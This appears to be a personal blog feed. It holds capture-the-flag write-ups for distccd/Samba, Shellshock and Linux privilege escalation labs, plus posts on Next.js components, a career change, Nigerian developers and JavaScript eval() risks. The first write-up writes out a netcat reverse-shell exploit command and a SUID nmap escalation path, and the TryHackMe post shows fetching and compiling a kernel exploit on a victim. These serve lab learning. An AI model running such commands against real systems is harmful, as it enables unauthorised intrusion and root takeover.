Aggressive OS guesses: Linux 2.6.23 (92%), Belkin N300 WAP (Linux 2.6.30) (90%), Control4 HC-300 home controller (90%), Dell Integrated Remote Access Controller (iDRAC5) (90%), Dell Integrated Remote Access Controller (iDRAC6) (90%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (90%), Linux 2.4.21 - 2.4.31 (likely embedded) (90%), Linux 2.4.7 (90%), Citrix XenServer 5.5 (Linux 2.6.18) (90%), Linux 2.6.18 (ClarkConnect 4.3 Enterprise Edition) (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 3632/tcp)
HOP RTT      ADDRESS
1   70.75 ms 10.10.14.1
2   71.01 ms 10.129.22.59

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.90 seconds

The service version running is: distccd v1, let's check if this is vulnerable.

After some googling, we discovered that this version is vulnerable to: distccd v1 RCE (CVE-2004-2687). Remeber, we do not want to use metasploit.

Exploitation - NO metasploit

Now we are done with service enumeration, let's move on to exploitation, let's keep our focus on samba and distccd, let's go pop shell.

339/445 - samba:

I do not want to use metasploit, I use the exploit here

With the exploit we got root shell, now need for privilege escalation:

3632 - distccd:

After several search, I found this exploit, which wouldn't work: exploit

I upgraded the exploit code to python3 to see if it would work, upgraded exploit here

Once you have exploit ready, start ncat listerner on your local machine:

nc -lvnp attacker_port

Then run the exploit with the command below:

python3 exploit.py -t target_ip -p target_port -c "nc attacker_ip attacker_port -e /bin/sh"

I pop a shell:

If you noticed, with this shell, unlike the samba shell, we are not root. Therefore, we need to escalate our privilege.

Privilege Escalation

First, let's check SUID to see if there are binaries we can ride on to become root:

find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper

From output above /usr/bin/nmap looks juicy. Let's check GTFBINS:

We found nmap and command to run on GTFBINs, what are we waiting for? Let's run the command:

We are root!

Lessons Learned

This machine reinforced the importance of approaching exploitation from multiple angles. While distccd (CVE-2004-2687) provided a straightforward remote code execution path, exploring the Samba service revealed an alternative route to compromise. This highlights that real-world targets often have more than one viable attack vector.

Avoiding automated tools like Metasploit forced a deeper understanding of the underlying vulnerabilities. Rewriting the exploits improved my ability to analyze exploit logic, adapt payloads, and troubleshoot issues when things didn’t work as expected.

Another key takeaway is the critical role of thorough enumeration. Identifying outdated and vulnerable services early on made exploitation significantly easier. This emphasizes that enumeration is often the most important phase of a penetration test.

Finally, this machine demonstrates how legacy services such as distccd and Samba can pose serious security risks when left unpatched, reinforcing the importance of proper system hardening and regular updates.

Hack The Box: Shocker Machine Writeup

Michael Oladele — Thu, 09 Apr 2026 16:43:11 +0000

🚀Introduction

The Shocker machine on Hack The Box is an excellent tool to learn and exploit the Shellshock vulnerability. In this walkthrough, we will enumerate this retired machine step by step and capture the user and root flags, demonstrating a real-world example of this catastrophic exploit.

🔍 Enumeration

First, we begin by scanning for open ports on the target machine.

I kinda like to first scan the all the ports first, then dive deeper like below:

Two ports came back as open:

Port 80 — HTTP (Apache web server)
Port 2222 — SSH

Since web servers usually have more attack surface, let's focus on port 80 to check if we get foothold.

The next step would be for us to perform a version and service detection scan:

Let's do banner grabbing to be sure the server we got from nmap is correct:

We can confidently say:
The server is running: Apache/2.4.18 on port 80 (Ubuntu)

Since port 80 is running a public-facing Apache web server, it offers a good opportunity for us to see what is running. Let's navigate to http://ip. Then we see:

At first, when I saw this web-page, I froze. But let's try to bust the directories maybe we can see something juicy:

gobuster dir -u http://10.129.16.77/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.16.77/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 291]
/.htaccess            (Status: 403) [Size: 296]
/.htpasswd            (Status: 403) [Size: 296]
/cgi-bin/             (Status: 403) [Size: 295]
/index.html           (Status: 200) [Size: 137]
/server-status        (Status: 403) [Size: 300]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished

If we try to check /server-status and /cgi-bin/, we can see:

So, there seems to be no way here, I wanted to go to the port 2222 at this point, but I decided to drill down to the DIR /server-status and /cgi-bin/ if something would come up.

Then I dig but this time, I added -x php,html,txt,sh,pl,cgi to check special files:

gobuster dir -u http://10.129.16.77/cgi-bin -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,sh,pl,cgi
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.16.77/cgi-bin
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,sh,pl,cgi,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 300]
/.hta.sh              (Status: 403) [Size: 302]
/.hta                 (Status: 403) [Size: 299]
/.hta.pl              (Status: 403) [Size: 302]
/.hta.cgi             (Status: 403) [Size: 303]
/.hta.php             (Status: 403) [Size: 303]
/.hta.html            (Status: 403) [Size: 304]
/.htaccess.php        (Status: 403) [Size: 308]
/.htaccess.txt        (Status: 403) [Size: 308]
/.htaccess.html       (Status: 403) [Size: 309]
/.htaccess.sh         (Status: 403) [Size: 307]
/.htaccess            (Status: 403) [Size: 304]
/.hta.txt             (Status: 403) [Size: 303]
/.htaccess.pl         (Status: 403) [Size: 307]
/.htaccess.cgi        (Status: 403) [Size: 308]
/.htpasswd            (Status: 403) [Size: 304]
/.htpasswd.pl         (Status: 403) [Size: 307]
/.htpasswd.cgi        (Status: 403) [Size: 308]
/.htpasswd.php        (Status: 403) [Size: 308]
/.htpasswd.html       (Status: 403) [Size: 309]
/.htpasswd.txt        (Status: 403) [Size: 308]
/.htpasswd.sh         (Status: 403) [Size: 307]
/user.sh              (Status: 200) [Size: 119]
Progress: 32298 / 32305 (99.98%)
===============================================================
Finished

In the above scan, I got a script back user.sh, this can be juicy. but when I opened it:

I decide to dig a little about what I can see about cgi-bin and I found out shellshock. So I Check cgi with NMAP to see if something would come and it is vulnerable to shellock:

Let's say luck found me, it's vulnerable to shellshock, so fired up my metasploit and search for it:

⚡ Exploitation

The next step for us would be to exploit the target machine, on metasploit, I set all the options needed, then the target was down in seconds:

Let's do our victory dance!!!

⚡ Privilege Escalation

As we can see the user we compromised is 'shelly' so we need to elivate our privilege to 'root'

I checked to see what can the user run with root access without password:

We are convinced that the user can run /usr/bin/perl without password, that might our path to root. Let's check for the binary on GTFBins:

Now let's run the binary with 'sudo', because we know we can do that:

We are root!! Yeepee!!!

The Hidden Weight Nigerian Developers Carry

Michael Oladele — Tue, 02 Dec 2025 09:07:03 +0000

In a perfect world, the SDLC is linear:

Requirements → Design → Development → Testing → Deployment → Maintenance.

In Nigeria, the reality is very different.

Here, the average "developer" is actually:

a backend engineer
a frontend engineer
a product thinker
a UI/UX designer
a DevOps engineer
a QA tester
a cloud engineer (yes, job posts still ask “Do you know AWS?”)
and the person who fixes production at 2 a.m.

All in one role.

All on one salary.

A salary that often doesn’t match even one of those roles abroad.

💢 The Disrespect Nobody Talks About

What hurts more than the workload is the treatment.

Too many developers have heard this line:

“Why didn't you complete the design level?”

Meanwhile the same developer was already juggling:

Architecture
Backend
Frontend
Documentation
QA
Deployment
Support
And cloud infrastructure

Imagine doing six jobs and being blamed for the seventh.

🔥 Yet Nigerian Developers Still Shine

Despite the chaos, Nigerian developers:

build world-class products
lead remote teams
learn extremely fast
innovate under pressure
and compete globally at the highest level

It’s almost unreal how excellence grows in such tough environments.

❤️ A Word to Every Nigerian Developer

You’re doing more than enough.

Your skill is not the problem.

Your environment is.

Protect your peace.

Ask for clarity.

Set boundaries.

Demand respect.

Nigerian developers aren’t underrated because of lack of talent.

They’re underrated because they do too much, too quietly.

It’s time that changed.

If this resonated, feel free to share your experience in the comments. Let’s make the conversation louder.

Server vs. Client Components in Next.js 13: When and How to Use Them

Michael Oladele — Wed, 23 Oct 2024 18:18:59 +0000

Next.js 13 introduced React Server Components, giving developers the power to choose where and how to render components—either on the server for performance or on the client for interactivity. This flexibility allows us to build apps that combine speed and dynamic capabilities.

In this article, we’ll explore not just the basics, but also dive into how to use server components within client components—a common need when building dynamic, efficient apps.

Understanding Server Components

Server components are rendered entirely on the server and don’t require any client-side JavaScript. They’re perfect for static content like headers, footers, or even data-driven components that don't need user interaction.

Example: Simple Server Component

// app/components/Header.js
export default function Header() {
  return (
    <header>
      <h1>My Static Header</h1>
    </header>
  );
}

This component is rendered on the server and doesn't involve any client-side interaction, meaning it loads faster with less JavaScript.

Benefits of Server Components

Reduced JavaScript Payload: Server components reduce the amount of JavaScript sent to the browser.
Improved Data Fetching: Server components can fetch data closer to the database, reducing network latency.

Fetching Data in a Server Component

// app/components/PostList.js
export default async function PostList() {
  const res = await fetch('https://jsonplaceholder.typicode.com/posts');
  const posts = await res.json();

  return (
    <ul>
      {posts.slice(0, 5).map((post) => (
        <li key={post.id}>{post.title}</li>
      ))}
    </ul>
  );
}

This PostList component fetches data on the server and sends the pre-rendered HTML to the client, ensuring faster load times.

When to Use Client Components

Client components are essential when you need interactivity, such as form inputs, event listeners, or dynamic content. These components use JavaScript on the client to handle user interactions.

Example: Client Component for Interactivity

// app/components/SearchBar.js
'use client';  // This makes the component a client component

import { useState } from 'react';

export default function SearchBar() {
  const [searchTerm, setSearchTerm] = useState('');

  return (
    <div>
      <input
        type="text"
        value={searchTerm}
        onChange={(e) => setSearchTerm(e.target.value)}
        placeholder="Search..."
      />
      <p>Searching for: {searchTerm}</p>
    </div>
  );
}

The SearchBar is interactive, so it needs to be a client component. You can use the useState hook and other React hooks only in client components.

You might have a use-case to combine Server and Client Components, so let's talk on how to do that next:

Combining Server and Client Components

A core strength of Next.js 13 is the ability to combine server and client components. A best practice is to use server components by default and push client components as deep as possible into your component tree.

Example: Combining Server and Client Components

// app/layout.js
import SearchBar from './components/SearchBar';

export default function Layout({ children }) {
  return (
    <div>
      <header>My Blog</header>
      <SearchBar />  {/* Client component for interactivity */}
      {children}
    </div>
  );
}

The SearchBar component handles client-side interactivity, while the rest of the layout is server-rendered, offering a balance between performance and interactivity.

On the other-way round, you might have a use-case to use server component inside a client component. Let's check out how to do that.

How to Use Server Components Inside Client Components

It’s important to understand that server components can be nested inside client components, but not imported directly into them. To include a server component in a client component, you pass it as children or a prop to avoid breaking the boundary between the two.

Example: Passing a Server Component to a Client Component

Here’s a real-world example where a server component is passed as a child to a client component:

// app/components/Profile.js (Server Component)
export default function Profile({ user }) {
  return (
    <div>
      <h2>{user.name}</h2>
      <p>Email: {user.email}</p>
    </div>
  );
}

// app/components/Dashboard.js (Client Component)
'use client';

import { useState } from 'react';

export default function Dashboard({ children }) {
  const [showProfile, setShowProfile] = useState(false);

  return (
    <div>
      <button onClick={() => setShowProfile(!showProfile)}>
        {showProfile ? 'Hide Profile' : 'Show Profile'}
      </button>

      {showProfile && <div>{children}</div>} {/* Server component passed as children */}
    </div>
  );
}

// app/page.js (Main Page using both components)
import Profile from './components/Profile';
import Dashboard from './components/Dashboard';

export default async function Page() {
  const user = { name: 'John Doe', email: 'john@example.com' };  // Static example

  return (
    <div>
      <Dashboard>
        <Profile user={user} />  {/* Passing the server component to client */}
      </Dashboard>
    </div>
  );
}

In the above example:

Profile is a server component, fetching data or displaying static content.
Dashboard is a client component handling interactions (showing/hiding the profile).
The Profile server component is passed as children to the Dashboard client component.

This pattern allows you to use the benefits of server rendering (less JavaScript, improved performance) while still having client-side interactivity.

Third-Party Libraries and Client Components

Many third-party libraries like authentication providers or UI components rely on React hooks, which can only be used in client components. Here’s how you can work around that limitation by wrapping third-party libraries inside client components:

Example: Using a Third-Party Carousel

// app/components/Carousel.js
'use client';

import Carousel from 'react-slick';

export default function MyCarousel() {
  const settings = { dots: true, infinite: true };
  return (
    <Carousel {...settings}>
      <div><h3>Slide 1</h3></div>
      <div><h3>Slide 2</h3></div>
    </Carousel>
  );
}

// app/page.js
import MyCarousel from './components/Carousel';

export default function Page() {
  return (
    <div>
      <h1>Welcome to the App</h1>
      <MyCarousel />
    </div>
  );
}

By wrapping the third-party react-slick carousel in a client component, we can use it in the server-rendered page while still accessing client-side features like interactivity.

Handling Props Between Server and Client Components

When passing data between server and client components, the props must be serializable (e.g., strings, numbers, booleans). Complex objects like functions or instances of classes can’t be passed.

Example: Passing Data from Server to Client

// app/page.js (Server Component)
import UserCard from './components/UserCard';

export default async function Page() {
  const user = { name: 'Jane Doe', age: 30 };  // Simple serializable data

  return (
    <div>
      <h1>Welcome to the App</h1>
      <UserCard user={user} />  {/* Passing serializable data to client component */}
    </div>
  );
}

// app/components/UserCard.js (Client Component)
'use client';

export default function UserCard({ user }) {
  return (
    <div>
      <h2>{user.name}</h2>
      <p>Age: {user.age}</p>
    </div>
  );
}

The UserCard client component can now dynamically render the data passed from the server component while ensuring that everything remains serializable and thus passes through the server-client boundary without issues.

With all said, it would be interesting to conclude this with best practises. Let's move to that next:

Best Practices for Server and Client Component Composition

Here are a few tips for composing server and client components effectively:

Default to Server Components: Use server components wherever possible for static or data-driven content to reduce JavaScript load and improve performance.
Use Client Components for Interactivity: Only use client components where user interaction or browser-specific APIs are needed.
Move Client Components Down the Tree: Push client components as deep into the component tree as possible. This allows more of your app to be rendered on the server, boosting performance.
Pass Server Components as Children: If a server component needs to be used within a client component, pass it as children or a prop instead of directly importing it.

Final word: Striking the Balance Between Performance and Interactivity

With Next.js 13, you have the flexibility to render components on both the server and the client. By defaulting to server components for static content and client components for interactivity, and by managing the boundary between the two carefully, you can build apps that are both fast and dynamic.

By following the patterns and examples here—like passing server components into client components and combining them thoughtfully—you’ll be able to leverage the full power of Next.js 13 to create highly performant, interactive web applications.

Happy coding
I am Michael.

How breaking into Tech @40 changed my life

Michael Oladele — Sat, 24 Aug 2024 06:09:07 +0000

My Personal journey into tech

Breaking into tech at age 40 might sound like a daunting challenge, especially when it requires leaving behind a secure, well-paying job. For me, however, it was a journey that redefined my life, my career, and my understanding of what it means to follow a passion.

The Cyber Café Days
It all started in the most unlikely of places, cyber cafés. Back then, these were the hubs of curiosity and learning for many of us. I would spend countless hours in these cramped, dimly lit rooms, where the sound of keyboards clacking and the hum of outdated computers created an atmosphere that was oddly motivating. My friends would often ask me what I was doing, and my answer was always the same: I was feeding my curiosity about technology.

I was intrigued by technology, its vast potential and the way it was rapidly changing the world. I scoured the internet for tutorials, articles, and any resource I could find on coding, software development, and IT in general. The more I learned, the more my passion grew, and so did my desire to transition into the tech industry. But it wasn't an easy road.

The Four-Year Struggle
In the year 2016, I realised I needed to live a more purposeful life, and the only answer was for me to break into tech space.
For over Four years, I juggled my full-time job with late-night study sessions. My days were spent in the office, and my nights were dedicated to learning how to code, understanding the basics of computer science, and familiarising myself with the latest tech trends. It was exhausting, but the idea of one day working in tech kept me going.

Despite the long hours and the steep learning curve, I never lost sight of my goal. There were times when I felt overwhelmed, especially when I struggled to grasp complex concepts. Yet, every small victory like finally debugging a stubborn piece of code or creating a simple web page fuelled my determination.

Eventually, the pieces started falling into place. I began to see how my years of dedication and countless hours in cyber cafés were paying off. But there was still one more major decision to make, a decision that would challenge everything I knew about security and success.

Leaving It All Behind
I was working in a stable, well paying job at the time. It was the kind of position most people dream of, offering financial security. But I knew that if I wanted to make a real leap into tech, I needed to give it my all. So, after much contemplation, I did the unthinkable, I resigned.

When I announced my decision, the reactions were mixed. Friends, colleagues, and even family members were shocked. They couldn’t understand why I would leave such a lucrative job to pursue a career in a field where I had no formal experience. I was called reckless, and some even suggested that I was going through a midlife crisis. To be honest, there were moments when I doubted myself too. But deep down, I knew that this was what I wanted.

The Payoff
Breaking into tech wasn’t immediate. The first few months were tough, filled with uncertainty and the challenge of proving myself in an industry that’s often seen as a young person’s game. But slowly, opportunities started to come my way. I landed my first part-time job as a code reviewer at Microverse, the coding bootcamp I learnt how to code, before I eventually secured a full-time position in a tech start-up as full-stack developer and now co-founded tech start-ups.

The transition wasn’t just about switching careers; it was about rediscovering myself. Tech allowed me to be creative, solve problems, and work in an environment that was constantly evolving. Every day brought new challenges, but it also brought new opportunities to learn and grow. And for the first time in years, I felt truly fulfilled.

Reflections
Looking back, breaking into tech at 40 was one of the most significant decisions I’ve ever made. It taught me that it’s never too late to pursue your passion, that age is just a number when it comes to learning, and that sometimes, you have to take risks to achieve the life you want.

Yes, it was scary to leave behind a secure job and step into the unknown. But the rewards, both personal and professional have been worth every moment of uncertainty. Today, I’m not just a tech professional; I’m someone who followed their passion, defied the odds, and proved that it’s never too late to start over.

To anyone out there who’s considering a similar leap, remember this: your dreams are valid, no matter how old you are or where you’re starting from. And sometimes, the craziest decisions turn out to be the best ones.

If I can, you can too.

Try Hack Me: Linux PrivEsc Complete Steps

Michael Oladele — Sun, 30 Jun 2024 20:11:31 +0000

Completing the TryHackMe Linux Privilege Escalation labs on the Jr Penetration Tester path has been challenging to me. I thought I needed to write about it. Let's get started!

I will skip some of the informational part and jump straight to task 5.

Task 1: Introduction

Task 2: What is Privilege Escalation?

Task 3: Enumeration

It does not matter how you gain the initial foothold, When you land on your target machine the first thing you want to do is Enumeration.

To get the full enumeration steps, head over to TryHackMe Linux Privilege Escalation labs

Now let's dive into the main reason for this article:

Task 5: Privilege Escalation: Kernel Exploits:

This task expects that we escalate our privilege via kernel exploit.

Steps:

Get a foothold into the target system, in this case, we SSH into the target machine from our attack machine with the details provided
We are to escalate through kernel exploit, we need to get the kernel of the machine by running the code below:

uname -a

Now we have the kernel name, we need to search exploit DB for exploit to use against the victim machine kernel. We are in luck, we found an exploit on exploit DB. In most cases we might have to dig a little more on the internet.

Click Download to download the exploit to your attacker machine

The next step is to find a way to get the exploit code to the victim machine. I will be doing this with python3 http server.
On the attacker's machine, run the code below in the same dir you have the file hosted run on port 8080.

python3 -m http.server 8080

Once your server is running on the attacker's machine, on the victim's machine, you will need to get the file with wget. Run the command below on the victim's machine:

wget http://<attacker's_IP: <Port>/<file_name>

If we check the dir with ls I can see the downloaded file in the dir. On the victim's machine.

After the download, run the command below to compile the C file on the victim's machine.

gcc <filename.c> -o <name_want_to_call_the_compiled_file> -w

Then you need to give writable permission to the compiled file.

If successful, you should see the file name in the dir, then run id to see current user id:

You can see that we have the regular user at the moment:

Then run the exploit code:

Now we are root after we run the exploit code:

Conclusion

This is the end of the first part of this series. Watch out for

Tasks 6 - 12.

I hope this helped someone as this lab really challenged me, but it was so much fun and it felt good to complete it. Anyways, I got through it and now, so have you!

It's Michael

The Evil of the eval() Function in JavaScript

Michael Oladele — Sat, 09 Mar 2024 10:53:43 +0000

While the eval() function in JavaScript can be a powerful tool for dynamically executing code, it introduces significant security risks if used improperly

JavaScript is a versatile programming language no doubt, that powers a significant portion of the web. It provides developers with powerful tools to manipulate and execute code dynamically. One such tool is the eval() function, which evaluates a string of code as though it were part of the script. While eval() can be useful in certain situations, it also poses significant security risks if not used carefully. In this article, we'll explore the potential dangers of using eval() and discuss best practices for mitigating these risks.

Before diving into the risks of using the function eval() we need to understanding eval().
The eval() function in JavaScript takes a string argument and evaluates it as JavaScript code. This means that any valid JavaScript code can be passed to eval(), and it will be executed within the current execution context. For example:

var x = 10;
var y = 20;
var result = eval("x + y"); // result will be 30

While eval() can be convenient for dynamically generating and executing code, it introduces security vulnerabilities that can be exploited by malicious actors.

Security Risks
Injection Attacks: One of the most significant risks of using eval() is the potential for injection attacks. If the string passed to eval() contains user input, an attacker could craft a malicious string to execute arbitrary code on the client-side. For example:

var userInput = "alert('You have been hacked!')";
eval(userInput); // executes the alert

In this scenario, the attacker could inject any JavaScript code, potentially compromising sensitive user data or performing unauthorized actions.

This article focuses on the security risks of using eval() in your application:

Cross-site Scripting (XSS): eval() can also be exploited in XSS attacks, where an attacker injects malicious scripts into web pages viewed by other users. If user input is not properly sanitized before being passed to eval(), it can lead to the execution of malicious code on unsuspecting users' browsers.

Best Practices for Mitigation
To mitigate the security risks associated with eval(), consider the following best practices:

Avoid eval() Whenever Possible: In most cases, there are alternative methods for achieving the desired functionality without resorting to eval(). Consider using built-in JavaScript functions like JSON.parse() or Function() constructor instead.

Sanitize User Input: If you must use eval() with user input, ensure that the input is properly sanitized and validated to prevent injection attacks. Never execute user input directly within eval() without validation.

Use Strict Mode: Enable strict mode ("use strict";) in your JavaScript code to enforce stricter parsing and error handling, which can help catch potential issues with eval() usage.

Code Reviews and Audits: Regularly review your codebase to identify and eliminate unnecessary uses of eval(). Conduct security audits to identify potential vulnerabilities and address them proactively.

While the eval() function in JavaScript can be a powerful tool for dynamically executing code, it introduces significant security risks if used improperly. By understanding these risks and following best practices for mitigation, developers can minimize the likelihood of exploitation and protect their applications from malicious attacks. Remember to prioritize security in your codebase and exercise caution when using eval() in your JavaScript projects.

Michael Oladele